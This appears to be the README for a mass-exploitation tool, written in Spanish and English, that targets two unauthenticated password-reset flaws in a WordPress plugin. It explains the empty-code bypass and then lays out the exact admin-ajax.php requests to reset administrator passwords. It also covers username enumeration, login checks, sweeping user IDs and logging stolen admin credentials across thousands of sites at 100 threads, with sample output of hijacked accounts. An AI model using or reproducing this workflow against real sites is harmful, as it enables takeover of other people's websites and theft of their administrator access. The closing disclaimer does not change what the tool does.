
Toma de control de cuenta no autenticada mediante una validación débil del restablecimiento de contraseña a través del parámetro 'reset_user_id' | Escalada de privilegios no autenticada mediante una validación débil del restablecimiento de contraseña a través de 'reset_activation_code' que conduce a la toma de control de la cuenta
Toma de control de cuenta no autenticada mediante validación débil de restablecimiento de contraseña a través del parámetro 'reset_user_id' | Escalada de privilegios no autenticada mediante validación débil de restablecimiento de contraseña a través de 'reset_activation_code' que conduce a la toma de control de cuenta
Por: Khaled Alenazi (Nxploited)
Escalada de privilegios no autenticada mediante validación débil de restablecimiento de contraseña
| Campo | Valor |
|---|---|
| CVSS | 9.8 Crítico |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Publicado | 23 de junio de 2026 |
| Investigador | Alyudin Nafiie |
La función pravel_change_password() está registrada como un manejador wp_ajax_nopriv — accesible sin autenticación. No realiza verificación de nonce ni comprobación de capacidades. La única protección es una comparación de igualdad débil entre el reset_activation_code proporcionado por el atacante y el valor de meta forgot_email del usuario. Para cualquier usuario que nunca haya activado un restablecimiento de contraseña, get_user_meta() devuelve una cadena vacía, lo que satisface trivialmente '' == '' cuando el código se omite o se envía vacío. Por lo tanto, un atacante no autenticado puede enviar un POST manipulado a admin-ajax.php con action=pravel_change_password, reset_user_id establecido en cualquier ID de usuario (incluidas las cuentas de administrador) y new_password_custom establecido en una contraseña arbitraria — logrando una toma de control total de la cuenta.
Toma de control de cuenta no autenticada mediante validación débil de restablecimiento de contraseña
| Campo | Valor |
|---|---|
| CVSS | 9.8 Crítico |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Publicado | 23 de junio de 2026 |
| Investigador | Alyudin Nafiie |
La función pravel_invoice_change_password() también está expuesta como un manejador AJAX nopriv sin nonce y sin comprobación de autorización. El mismo bypass '' == '' aplica: proporcionar un reset_activation_code vacío contra un administrador que nunca haya usado el flujo de contraseña olvidada concede un restablecimiento de contraseña inmediato. El atacante controla el objetivo mediante reset_user_id y la nueva credencial mediante new_password_custom.
For each target site:
1. AJAX Probe (fast path — IDs 1 and 2)
POST /wp-admin/admin-ajax.php
action=pravel_change_password (CVE-2026-12417)
action=pravel_invoice_change_password (CVE-2026-12416)
reset_user_id=<id>
new_password_custom=<fixed_password>
reset_activation_code= ← empty — bypasses the check
Response on success:
{"activation":true,"message":"Password has been changed successfully"}
2. Username Resolution (lazy — only runs after confirmed reset)
a. GET /wp-json/wp/v2/users/<id> ← exact username for the reset ID
b. "admin" ← always tried second
c. GET /wp-json/wp/v2/users ← REST API bulk list
d. /?author=1..3 redirect ← author archive scan
3. Login Verification
POST /wp-login.php
log=<username> pwd=<password>
Check for wordpress_logged_in cookie.
4. Admin Confirmation
GET /wp-admin/users.php
Requires list_users capability — administrators only.
Any deny message or login redirect → not admin, skip.
5. On Confirmed Admin
Save to scan_results/pravel_admin_success.txt:
SITE | LOGIN URL | user | pass | exploit | id
Print result line to terminal.
6. Extended Sweep (if IDs 1–2 both fail)
Repeat steps 1–5 for user IDs 3 through 20.
Terminal:
[1/5000] https://target.com NO
[2/5000] https://victim.com ADMIN=admin pass=Nxploited@123KSa exploit=pravel_change_password id=1 | https://victim.com/wp-login.php
[3/5000] https://another.com NO
Archivo de resultados (scan_results/pravel_admin_success.txt):
[2026-06-24 16:00:00] SITE=https://victim.com | LOGIN=https://victim.com/wp-login.php | user=admin | pass=Nxploited@123KSa | exploit=pravel_change_password | id=1
python Cl.py
Targets file (one URL per line) [targets.txt]: sites.txt
Threads (concurrent sites) [50]: 100
Requisitos:
pip install requests rich colorama urllib3
Esta herramienta se proporciona únicamente para investigación de seguridad autorizada y pruebas de penetración.
Usarla contra sistemas que no poseas o para los que no tengas permiso explícito por escrito es ilegal.
El autor no asume ninguna responsabilidad por el mal uso o los daños causados por esta herramienta.
Todos los detalles de los CVE provienen de bases de datos públicas de vulnerabilidades.
Por: Khaled Alenazi (Nxploited)